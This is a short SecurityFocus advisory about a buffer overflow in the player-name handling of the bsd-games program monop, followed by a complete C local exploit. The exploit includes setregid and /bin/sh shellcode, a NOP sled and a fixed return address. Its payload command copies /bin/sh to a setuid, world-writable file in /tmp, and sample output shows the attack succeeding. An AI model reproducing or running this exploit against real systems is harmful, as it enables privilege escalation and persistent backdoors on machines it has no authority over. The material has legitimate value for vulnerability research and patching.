source: http://www.securityfocus.com/bid/8501/info

Monop (included in bsd-games) is prone to a locally exploitable buffer overrun vulnerability. This is due to insufficient bounds checking of player names. Monop is typically installed setgid games, so it is possible to exploit this issue to execute arbitrary code with these privileges. 

/* 

U-N-F http://www.u-n-f.com monosex - monop game local exploit - from bsd-games package - by ^sq
Second player's name buffer overflow.
Based on qobaiashi's u-n-f advisory. 
Shouts: UNF, wsxz, qobaiashi, sxynx, DragonK, dtorsBob, LSD, s0t4ipv6

deltha@slack9:~$ ./monosex
MONOSEX - U-N-F MONOP LOCAL BUFFER OVERFLOW
[+] Ret addy: 0x8050102
[+] Shellcode addy: 0xbffff2d0
uid=102(deltha) gid=20(games) groups=102(deltha)
ls:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB12: No such file or 
directory
459881 -rwsrwxrwx    1 deltha   games      628664 Aug 23 01:31 /tmp/kurwa

*/

#include <stdio.h> 
#include <stdlib.h> 
#define BUFPIPE 512
#define CMD "rm -f /tmp/kurwa; id; cp /bin/sh /tmp/kurwa; chmod 4777 /tmp/kurwa; ls -ila /tmp/kurwa "
#define VULN "/usr/games/monop"

int main(int argc, char **argv)

{
   FILE *pr;
   char newline[2]="\n";
   pr = popen(VULN,"w");  
   char asd[BUFPIPE];
   char firstplayer[93];
   char buf[300+4];
   char env[1024];
   int ret = 0x8050102;

   char shellcode[] = 
   /* setregid (20,20) shellcode */
   "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
   "\xcd\x80"
   /*Lsd sh -c shellcode */
   "\xeb\x22"             /* jmp     <cmdshellcode+36>      */
   "\x59"                 /* popl    %ecx                   */
   "\x31\xc0"             /* xorl    %eax,%eax              */
   "\x50"                 /* pushl   %eax                   */
   "\x68""//sh"           /* pushl   $0x68732f2f            */
   "\x68""/bin"           /* pushl   $0x6e69622f            */
   "\x89\xe3"             /* movl    %esp,%ebx              */
   "\x50"                 /* pushl   %eax                   */
   "\x66\x68""-c"         /* pushw   $0x632d                */
   "\x89\xe7"             /* movl    %esp,%edi              */
   "\x50"                 /* pushl   %eax                   */
   "\x51"                 /* pushl   %ecx                   */
   "\x57"                 /* pushl   %edi                   */
   "\x53"                 /* pushl   %ebx                   */
   "\x89\xe1"             /* movl    %esp,%ecx              */
   "\x99"                 /* cdql                           */
   "\xb0\x0b"             /* movb    $0x0b,%al              */
   "\xcd\x80"             /* int     $0x80                  */
   "\xe8\xd9\xff\xff\xff" /* call    <cmdshellcode+2>       */
   ;
   printf("MONOSEX - U-N-F MONOP LOCAL BUFFER OVERFLOW\n");
   printf("[+] Ret addy: 0x%x\n", ret);
   printf("[+] Shellcode addy: 0x%x\n", shellcode);

//firstplayer increment to avoid heap addresses which contains zeros
   memset(firstplayer, 0x42, 92);
   memset(buf, 0x90, 300);
   memcpy(&buf[300], (char *)&ret, 4);
   memcpy(&buf[300 - strlen(shellcode) - strlen(CMD)],shellcode,strlen(shellcode));
   memcpy(&buf[300 - strlen(CMD)],CMD,strlen(CMD));

   if (!pr) abort();

// How many players? 2
   strcpy(asd,"2");
   strcat(asd,newline);
   fputs(asd,pr);
   fflush(pr);

// Player 1's name:
   fputs(firstplayer,pr);
   strcat(asd,newline);
   fputs(asd,pr);
   fflush(pr);

// Player 2's name: overflow
   fputs(buf,pr);
   strcat(asd,newline);
   fputs(asd,pr);
   fflush(pr);         
   pclose(pr);
   return 0;
 } 
